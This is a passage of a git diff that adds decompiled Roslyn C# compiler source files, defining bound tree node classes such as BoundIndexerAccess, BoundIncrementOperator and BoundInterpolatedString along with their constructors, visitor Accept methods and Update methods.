argumentPlaceholders != ArgumentPlaceholders || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundImplicitIndexerAccess boundImplicitIndexerAccess = new BoundImplicitIndexerAccess(Syntax, receiver, argument, lengthOrCountAccess, receiverPlaceholder, indexerOrSliceAccess, argumentPlaceholders, type, base.HasErrors); + boundImplicitIndexerAccess.CopyAttributes(this); + return boundImplicitIndexerAccess; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundImplicitIndexerReceiverPlaceholder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundImplicitIndexerReceiverPlaceholder.cs new file mode 100644 index 0000000..8ab776e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundImplicitIndexerReceiverPlaceholder.cs @@ -0,0 +1,40 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundImplicitIndexerReceiverPlaceholder : BoundValuePlaceholderBase +{ + public new TypeSymbol Type => base.Type; + + public override bool IsEquivalentToThisReference { get; } + + public BoundImplicitIndexerReceiverPlaceholder(SyntaxNode syntax, bool isEquivalentToThisReference, TypeSymbol type, bool hasErrors) + : base(BoundKind.ImplicitIndexerReceiverPlaceholder, syntax, type, hasErrors) + { + IsEquivalentToThisReference = isEquivalentToThisReference; + } + + public BoundImplicitIndexerReceiverPlaceholder(SyntaxNode syntax, bool isEquivalentToThisReference, TypeSymbol type) + : base(BoundKind.ImplicitIndexerReceiverPlaceholder, syntax, type) + { + IsEquivalentToThisReference = isEquivalentToThisReference; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitImplicitIndexerReceiverPlaceholder(this); + } + + public BoundImplicitIndexerReceiverPlaceholder Update(bool isEquivalentToThisReference, TypeSymbol type) + { + if (isEquivalentToThisReference != IsEquivalentToThisReference || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundImplicitIndexerReceiverPlaceholder boundImplicitIndexerReceiverPlaceholder = new BoundImplicitIndexerReceiverPlaceholder(Syntax, isEquivalentToThisReference, type, base.HasErrors); + boundImplicitIndexerReceiverPlaceholder.CopyAttributes(this); + return boundImplicitIndexerReceiverPlaceholder; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundImplicitIndexerValuePlaceholder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundImplicitIndexerValuePlaceholder.cs new file mode 100644 index 0000000..40f1491 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundImplicitIndexerValuePlaceholder.cs @@ -0,0 +1,45 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundImplicitIndexerValuePlaceholder : BoundValuePlaceholderBase +{ + public sealed override bool IsEquivalentToThisReference + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/BoundTree/BoundExpression.cs", 207); + } + } + + public new TypeSymbol Type => base.Type; + + public BoundImplicitIndexerValuePlaceholder(SyntaxNode syntax, TypeSymbol type, bool hasErrors) + : base(BoundKind.ImplicitIndexerValuePlaceholder, syntax, type, hasErrors) + { + } + + public BoundImplicitIndexerValuePlaceholder(SyntaxNode syntax, TypeSymbol type) + : base(BoundKind.ImplicitIndexerValuePlaceholder, syntax, type) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitImplicitIndexerValuePlaceholder(this); + } + + public BoundImplicitIndexerValuePlaceholder Update(TypeSymbol type) + { + if (!TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundImplicitIndexerValuePlaceholder boundImplicitIndexerValuePlaceholder = new BoundImplicitIndexerValuePlaceholder(Syntax, type, base.HasErrors); + boundImplicitIndexerValuePlaceholder.CopyAttributes(this); + return boundImplicitIndexerValuePlaceholder; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundImplicitReceiver.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundImplicitReceiver.cs new file mode 100644 index 0000000..fe67e96 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundImplicitReceiver.cs @@ -0,0 +1,36 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundImplicitReceiver : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public BoundImplicitReceiver(SyntaxNode syntax, TypeSymbol type, bool hasErrors) + : base(BoundKind.ImplicitReceiver, syntax, type, hasErrors) + { + } + + public BoundImplicitReceiver(SyntaxNode syntax, TypeSymbol type) + : base(BoundKind.ImplicitReceiver, syntax, type) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitImplicitReceiver(this); + } + + public BoundImplicitReceiver Update(TypeSymbol type) + { + if (!TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundImplicitReceiver boundImplicitReceiver = new BoundImplicitReceiver(Syntax, type, base.HasErrors); + boundImplicitReceiver.CopyAttributes(this); + return boundImplicitReceiver; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundIncrementOperator.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundIncrementOperator.cs new file mode 100644 index 0000000..62e611b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundIncrementOperator.cs @@ -0,0 +1,74 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundIncrementOperator : BoundExpression +{ + public override Symbol? ExpressionSymbol => MethodOpt; + + public new TypeSymbol Type => base.Type; + + public UnaryOperatorKind OperatorKind { get; } + + public BoundExpression Operand { get; } + + public MethodSymbol? MethodOpt { get; } + + public TypeSymbol? ConstrainedToTypeOpt { get; } + + public BoundValuePlaceholder? OperandPlaceholder { get; } + + public BoundExpression? OperandConversion { get; } + + public BoundValuePlaceholder? ResultPlaceholder { get; } + + public BoundExpression? ResultConversion { get; } + + public override LookupResultKind ResultKind { get; } + + public ImmutableArray OriginalUserDefinedOperatorsOpt { get; } + + public BoundIncrementOperator(CSharpSyntaxNode syntax, UnaryOperatorKind operatorKind, BoundExpression operand, MethodSymbol? methodOpt, TypeSymbol? constrainedToTypeOpt, BoundValuePlaceholder? operandPlaceholder, BoundExpression? operandConversion, BoundValuePlaceholder? resultPlaceholder, BoundExpression? resultConversion, LookupResultKind resultKind, TypeSymbol type, bool hasErrors = false) + : this((SyntaxNode)(object)syntax, operatorKind, operand, methodOpt, constrainedToTypeOpt, operandPlaceholder, operandConversion, resultPlaceholder, resultConversion, resultKind, default(ImmutableArray), type, hasErrors) + { + } + + public BoundIncrementOperator Update(UnaryOperatorKind operatorKind, BoundExpression operand, MethodSymbol? methodOpt, TypeSymbol? constrainedToTypeOpt, BoundValuePlaceholder? operandPlaceholder, BoundExpression? operandConversion, BoundValuePlaceholder? resultPlaceholder, BoundExpression? resultConversion, LookupResultKind resultKind, TypeSymbol type) + { + return Update(operatorKind, operand, methodOpt, constrainedToTypeOpt, operandPlaceholder, operandConversion, resultPlaceholder, resultConversion, resultKind, OriginalUserDefinedOperatorsOpt, type); + } + + public BoundIncrementOperator(SyntaxNode syntax, UnaryOperatorKind operatorKind, BoundExpression operand, MethodSymbol? methodOpt, TypeSymbol? constrainedToTypeOpt, BoundValuePlaceholder? operandPlaceholder, BoundExpression? operandConversion, BoundValuePlaceholder? resultPlaceholder, BoundExpression? resultConversion, LookupResultKind resultKind, ImmutableArray originalUserDefinedOperatorsOpt, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.IncrementOperator, syntax, type, hasErrors || operand.HasErrors() || operandPlaceholder.HasErrors() || operandConversion.HasErrors() || resultPlaceholder.HasErrors() || resultConversion.HasErrors()) + { + OperatorKind = operatorKind; + Operand = operand; + MethodOpt = methodOpt; + ConstrainedToTypeOpt = constrainedToTypeOpt; + OperandPlaceholder = operandPlaceholder; + OperandConversion = operandConversion; + ResultPlaceholder = resultPlaceholder; + ResultConversion = resultConversion; + ResultKind = resultKind; + OriginalUserDefinedOperatorsOpt = originalUserDefinedOperatorsOpt; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitIncrementOperator(this); + } + + public BoundIncrementOperator Update(UnaryOperatorKind operatorKind, BoundExpression operand, MethodSymbol? methodOpt, TypeSymbol? constrainedToTypeOpt, BoundValuePlaceholder? operandPlaceholder, BoundExpression? operandConversion, BoundValuePlaceholder? resultPlaceholder, BoundExpression? resultConversion, LookupResultKind resultKind, ImmutableArray originalUserDefinedOperatorsOpt, TypeSymbol type) + { + if (operatorKind != OperatorKind || operand != Operand || !SymbolEqualityComparer.ConsiderEverything.Equals(methodOpt, MethodOpt) || !TypeSymbol.Equals(constrainedToTypeOpt, ConstrainedToTypeOpt, (TypeCompareKind)0) || operandPlaceholder != OperandPlaceholder || operandConversion != OperandConversion || resultPlaceholder != ResultPlaceholder || resultConversion != ResultConversion || resultKind != ResultKind || originalUserDefinedOperatorsOpt != OriginalUserDefinedOperatorsOpt || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundIncrementOperator boundIncrementOperator = new BoundIncrementOperator(Syntax, operatorKind, operand, methodOpt, constrainedToTypeOpt, operandPlaceholder, operandConversion, resultPlaceholder, resultConversion, resultKind, originalUserDefinedOperatorsOpt, type, base.HasErrors); + boundIncrementOperator.CopyAttributes(this); + return boundIncrementOperator; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundIndexerAccess.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundIndexerAccess.cs new file mode 100644 index 0000000..67f5250 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundIndexerAccess.cs @@ -0,0 +1,110 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Operations; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundIndexerAccess : BoundExpression, IBoundInvalidNode +{ + public override Symbol? ExpressionSymbol => Indexer; + + public override LookupResultKind ResultKind + { + get + { + if (OriginalIndexersOpt.IsDefault) + { + return base.ResultKind; + } + return LookupResultKind.OverloadResolutionFailure; + } + } + + ImmutableArray IBoundInvalidNode.InvalidNodeChildren => CSharpOperationFactory.CreateInvalidChildrenFromArgumentsExpression(ReceiverOpt, Arguments); + + public new TypeSymbol Type => base.Type; + + public BoundExpression? ReceiverOpt { get; } + + public ThreeState InitialBindingReceiverIsSubjectToCloning { get; } + + public PropertySymbol Indexer { get; } + + public ImmutableArray Arguments { get; } + + public ImmutableArray ArgumentNamesOpt { get; } + + public ImmutableArray ArgumentRefKindsOpt { get; } + + public bool Expanded { get; } + + public ImmutableArray ArgsToParamsOpt { get; } + + public BitVector DefaultArguments { get; } + + public ImmutableArray OriginalIndexersOpt { get; } + + public static BoundIndexerAccess ErrorAccess(SyntaxNode node, BoundExpression receiverOpt, PropertySymbol indexer, ImmutableArray arguments, ImmutableArray namedArguments, ImmutableArray refKinds, ImmutableArray originalIndexers) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + return new BoundIndexerAccess(node, receiverOpt, (ThreeState)1, indexer, arguments, namedArguments, refKinds, expanded: false, default(ImmutableArray), default(BitVector), originalIndexers, indexer.Type, hasErrors: true); + } + + public BoundIndexerAccess(SyntaxNode syntax, BoundExpression? receiverOpt, ThreeState initialBindingReceiverIsSubjectToCloning, PropertySymbol indexer, ImmutableArray arguments, ImmutableArray argumentNamesOpt, ImmutableArray argumentRefKindsOpt, bool expanded, ImmutableArray argsToParamsOpt, BitVector defaultArguments, TypeSymbol type, bool hasErrors = false) + : this(syntax, receiverOpt, initialBindingReceiverIsSubjectToCloning, indexer, arguments, argumentNamesOpt, argumentRefKindsOpt, expanded, argsToParamsOpt, defaultArguments, default(ImmutableArray), type, hasErrors) + { + }//IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + + + public BoundIndexerAccess Update(BoundExpression? receiverOpt, ThreeState initialBindingReceiverIsSubjectToCloning, PropertySymbol indexer, ImmutableArray arguments, ImmutableArray argumentNamesOpt, ImmutableArray argumentRefKindsOpt, bool expanded, ImmutableArray argsToParamsOpt, BitVector defaultArguments, TypeSymbol type) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return Update(receiverOpt, initialBindingReceiverIsSubjectToCloning, indexer, arguments, argumentNamesOpt, argumentRefKindsOpt, expanded, argsToParamsOpt, defaultArguments, OriginalIndexersOpt, type); + } + + public BoundIndexerAccess(SyntaxNode syntax, BoundExpression? receiverOpt, ThreeState initialBindingReceiverIsSubjectToCloning, PropertySymbol indexer, ImmutableArray arguments, ImmutableArray argumentNamesOpt, ImmutableArray argumentRefKindsOpt, bool expanded, ImmutableArray argsToParamsOpt, BitVector defaultArguments, ImmutableArray originalIndexersOpt, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.IndexerAccess, syntax, type, hasErrors || receiverOpt.HasErrors() || arguments.HasErrors()) + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + ReceiverOpt = receiverOpt; + InitialBindingReceiverIsSubjectToCloning = initialBindingReceiverIsSubjectToCloning; + Indexer = indexer; + Arguments = arguments; + ArgumentNamesOpt = argumentNamesOpt; + ArgumentRefKindsOpt = argumentRefKindsOpt; + Expanded = expanded; + ArgsToParamsOpt = argsToParamsOpt; + DefaultArguments = defaultArguments; + OriginalIndexersOpt = originalIndexersOpt; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitIndexerAccess(this); + } + + public BoundIndexerAccess Update(BoundExpression? receiverOpt, ThreeState initialBindingReceiverIsSubjectToCloning, PropertySymbol indexer, ImmutableArray arguments, ImmutableArray argumentNamesOpt, ImmutableArray argumentRefKindsOpt, bool expanded, ImmutableArray argsToParamsOpt, BitVector defaultArguments, ImmutableArray originalIndexersOpt, TypeSymbol type) + { + //IL_00a6: Unknown result type (might be due to invalid IL or missing references) + //IL_00b2: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + if (receiverOpt != ReceiverOpt || initialBindingReceiverIsSubjectToCloning != InitialBindingReceiverIsSubjectToCloning || !SymbolEqualityComparer.ConsiderEverything.Equals(indexer, Indexer) || arguments != Arguments || argumentNamesOpt != ArgumentNamesOpt || argumentRefKindsOpt != ArgumentRefKindsOpt || expanded != Expanded || argsToParamsOpt != ArgsToParamsOpt || defaultArguments != DefaultArguments || originalIndexersOpt != OriginalIndexersOpt || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundIndexerAccess boundIndexerAccess = new BoundIndexerAccess(Syntax, receiverOpt, initialBindingReceiverIsSubjectToCloning, indexer, arguments, argumentNamesOpt, argumentRefKindsOpt, expanded, argsToParamsOpt, defaultArguments, originalIndexersOpt, type, base.HasErrors); + boundIndexerAccess.CopyAttributes(this); + return boundIndexerAccess; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundInitializer.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundInitializer.cs new file mode 100644 index 0000000..2663710 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundInitializer.cs @@ -0,0 +1,14 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class BoundInitializer : BoundNode +{ + protected BoundInitializer(BoundKind kind, SyntaxNode syntax, bool hasErrors) + : base(kind, syntax, hasErrors) + { + } + + protected BoundInitializer(BoundKind kind, SyntaxNode syntax) + : base(kind, syntax) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundInlineArrayAccess.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundInlineArrayAccess.cs new file mode 100644 index 0000000..70ef7e1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundInlineArrayAccess.cs @@ -0,0 +1,53 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundInlineArrayAccess : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public BoundExpression Expression { get; } + + public BoundExpression Argument { get; } + + public bool IsValue { get; } + + public WellKnownMember GetItemOrSliceHelper { get; } + + public BoundInlineArrayAccess(SyntaxNode syntax, BoundExpression expression, BoundExpression argument, bool isValue, WellKnownMember getItemOrSliceHelper, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.InlineArrayAccess, syntax, type, hasErrors || expression.HasErrors() || argument.HasErrors()) + { + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + Expression = expression; + Argument = argument; + IsValue = isValue; + GetItemOrSliceHelper = getItemOrSliceHelper; + } + + [Conditional("DEBUG")] + private void Validate() + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitInlineArrayAccess(this); + } + + public BoundInlineArrayAccess Update(BoundExpression expression, BoundExpression argument, bool isValue, WellKnownMember getItemOrSliceHelper, TypeSymbol type) + { + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (expression != Expression || argument != Argument || isValue != IsValue || getItemOrSliceHelper != GetItemOrSliceHelper || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundInlineArrayAccess boundInlineArrayAccess = new BoundInlineArrayAccess(Syntax, expression, argument, isValue, getItemOrSliceHelper, type, base.HasErrors); + boundInlineArrayAccess.CopyAttributes(this); + return boundInlineArrayAccess; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundInstrumentationPayloadRoot.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundInstrumentationPayloadRoot.cs new file mode 100644 index 0000000..413aa02 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundInstrumentationPayloadRoot.cs @@ -0,0 +1,40 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundInstrumentationPayloadRoot : BoundExpression +{ + public int AnalysisKind { get; } + + public new TypeSymbol Type => base.Type; + + public BoundInstrumentationPayloadRoot(SyntaxNode syntax, int analysisKind, TypeSymbol type, bool hasErrors) + : base(BoundKind.InstrumentationPayloadRoot, syntax, type, hasErrors) + { + AnalysisKind = analysisKind; + } + + public BoundInstrumentationPayloadRoot(SyntaxNode syntax, int analysisKind, TypeSymbol type) + : base(BoundKind.InstrumentationPayloadRoot, syntax, type) + { + AnalysisKind = analysisKind; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitInstrumentationPayloadRoot(this); + } + + public BoundInstrumentationPayloadRoot Update(int analysisKind, TypeSymbol type) + { + if (analysisKind != AnalysisKind || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundInstrumentationPayloadRoot boundInstrumentationPayloadRoot = new BoundInstrumentationPayloadRoot(Syntax, analysisKind, type, base.HasErrors); + boundInstrumentationPayloadRoot.CopyAttributes(this); + return boundInstrumentationPayloadRoot; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundInterpolatedString.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundInterpolatedString.cs new file mode 100644 index 0000000..8b3d739 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundInterpolatedString.cs @@ -0,0 +1,37 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundInterpolatedString : BoundInterpolatedStringBase +{ + public const string AppendFormattedMethod = "AppendFormatted"; + + public const string AppendLiteralMethod = "AppendLiteral"; + + public InterpolatedStringHandlerData? InterpolationData { get; } + + public BoundInterpolatedString(SyntaxNode syntax, InterpolatedStringHandlerData? interpolationData, ImmutableArray parts, ConstantValue? constantValueOpt, TypeSymbol? type, bool hasErrors = false) + : base(BoundKind.InterpolatedString, syntax, parts, constantValueOpt, type, hasErrors || parts.HasErrors()) + { + InterpolationData = interpolationData; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitInterpolatedString(this); + } + + public BoundInterpolatedString Update(InterpolatedStringHandlerData? interpolationData, ImmutableArray parts, ConstantValue? constantValueOpt, TypeSymbol? type) + { + if (!interpolationData.Equals(InterpolationData) || parts != base.Parts || constantValueOpt != ConstantValueOpt || !TypeSymbol.Equals(type, base.Type, (TypeCompareKind)0)) + { + BoundInterpolatedString boundInterpolatedString = new BoundInterpolatedString(Syntax, interpolationData, parts, constantValueOpt, type, base.HasErrors); + boundInterpolatedString.CopyAttributes(this); + return boundInterpolatedString; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundInterpolatedStringArgumentPlaceholder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundInterpolatedStringArgumentPlaceholder.cs new file mode 100644 index 0000000..52adbf5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundInterpolatedStringArgumentPlaceholder.cs @@ -0,0 +1,55 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundInterpolatedStringArgumentPlaceholder : BoundValuePlaceholderBase +{ + public const int InstanceParameter = -1; + + public const int TrailingConstructorValidityParameter = -2; + + public const int UnspecifiedParameter = -3; + + public sealed override bool IsEquivalentToThisReference + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/BoundTree/BoundInterpolatedStringArgumentPlaceholder.cs", 13); + } + } + + public new TypeSymbol Type => base.Type; + + public int ArgumentIndex { get; } + + public BoundInterpolatedStringArgumentPlaceholder(SyntaxNode syntax, int argumentIndex, TypeSymbol type, bool hasErrors) + : base(BoundKind.InterpolatedStringArgumentPlaceholder, syntax, type, hasErrors) + { + ArgumentIndex = argumentIndex; + } + + public BoundInterpolatedStringArgumentPlaceholder(SyntaxNode syntax, int argumentIndex, TypeSymbol type) + : base(BoundKind.InterpolatedStringArgumentPlaceholder, syntax, type) + { + ArgumentIndex = argumentIndex; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitInterpolatedStringArgumentPlaceholder(this); + } + + public BoundInterpolatedStringArgumentPlaceholder Update(int argumentIndex, TypeSymbol type) + { + if (argumentIndex != ArgumentIndex || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundInterpolatedStringArgumentPlaceholder boundInterpolatedStringArgumentPlaceholder = new BoundInterpolatedStringArgumentPlaceholder(Syntax, argumentIndex, type, base.HasErrors); + boundInterpolatedStringArgumentPlaceholder.CopyAttributes(this); + return boundInterpolatedStringArgumentPlaceholder; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundInterpolatedStringBase.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundInterpolatedStringBase.cs new file mode 100644 index 0000000..4f5ef72 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundInterpolatedStringBase.cs @@ -0,0 +1,18 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class BoundInterpolatedStringBase : BoundExpression +{ + public ImmutableArray Parts { get; } + + public override ConstantValue? ConstantValueOpt { get; } + + protected BoundInterpolatedStringBase(BoundKind kind, SyntaxNode syntax, ImmutableArray parts, ConstantValue? constantValueOpt, TypeSymbol? type, bool hasErrors = false) + : base(kind, syntax, type, hasErrors) + { + Parts = parts; + ConstantValueOpt = constantValueOpt; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundInterpolatedStringHandlerPlaceholder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundInterpolatedStringHandlerPlaceholder.cs new file mode 100644 index 0000000..c4ade79 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundInterpolatedStringHandlerPlaceholder.cs @@ -0,0 +1,36 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundInterpolatedStringHandlerPlaceholder : BoundValuePlaceholderBase +{ + public sealed override bool IsEquivalentToThisReference => false; + + public BoundInterpolatedStringHandlerPlaceholder(SyntaxNode syntax, TypeSymbol? type, bool hasErrors) + : base(BoundKind.InterpolatedStringHandlerPlaceholder, syntax, type, hasErrors) + { + } + + public BoundInterpolatedStringHandlerPlaceholder(SyntaxNode syntax, TypeSymbol? type) + : base(BoundKind.InterpolatedStringHandlerPlaceholder, syntax, type) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitInterpolatedStringHandlerPlaceholder(this); + } + + public BoundInterpolatedStringHandlerPlaceholder Update(TypeSymbol? type) + { + if (!TypeSymbol.Equals(type, base.Type, (TypeCompareKind)0)) + { + BoundInterpolatedStringHandlerPlaceholder boundInterpolatedStringHandlerPlaceholder = new BoundInterpolatedStringHandlerPlaceholder(Syntax, type, base.HasErrors); + boundInterpolatedStringHandlerPlaceholder.CopyAttributes(this); + return boundInterpolatedStringHandlerPlaceholder; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundIsOperator.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundIsOperator.cs new file mode 100644 index 0000000..3a4f927 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundIsOperator.cs @@ -0,0 +1,40 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundIsOperator : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public BoundExpression Operand { get; } + + public BoundTypeExpression TargetType { get; } + + public ConversionKind ConversionKind { get; } + + public BoundIsOperator(SyntaxNode syntax, BoundExpression operand, BoundTypeExpression targetType, ConversionKind conversionKind, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.IsOperator, syntax, type, hasErrors || operand.HasErrors() || targetType.HasErrors()) + { + Operand = operand; + TargetType = targetType; + ConversionKind = conversionKind; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitIsOperator(this); + } + + public BoundIsOperator Update(BoundExpression operand, BoundTypeExpression targetType, ConversionKind conversionKind, TypeSymbol type) + { + if (operand != Operand || targetType != TargetType || conversionKind != ConversionKind || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundIsOperator boundIsOperator = new BoundIsOperator(Syntax, operand, targetType, conversionKind, type, base.HasErrors); + boundIsOperator.CopyAttributes(this); + 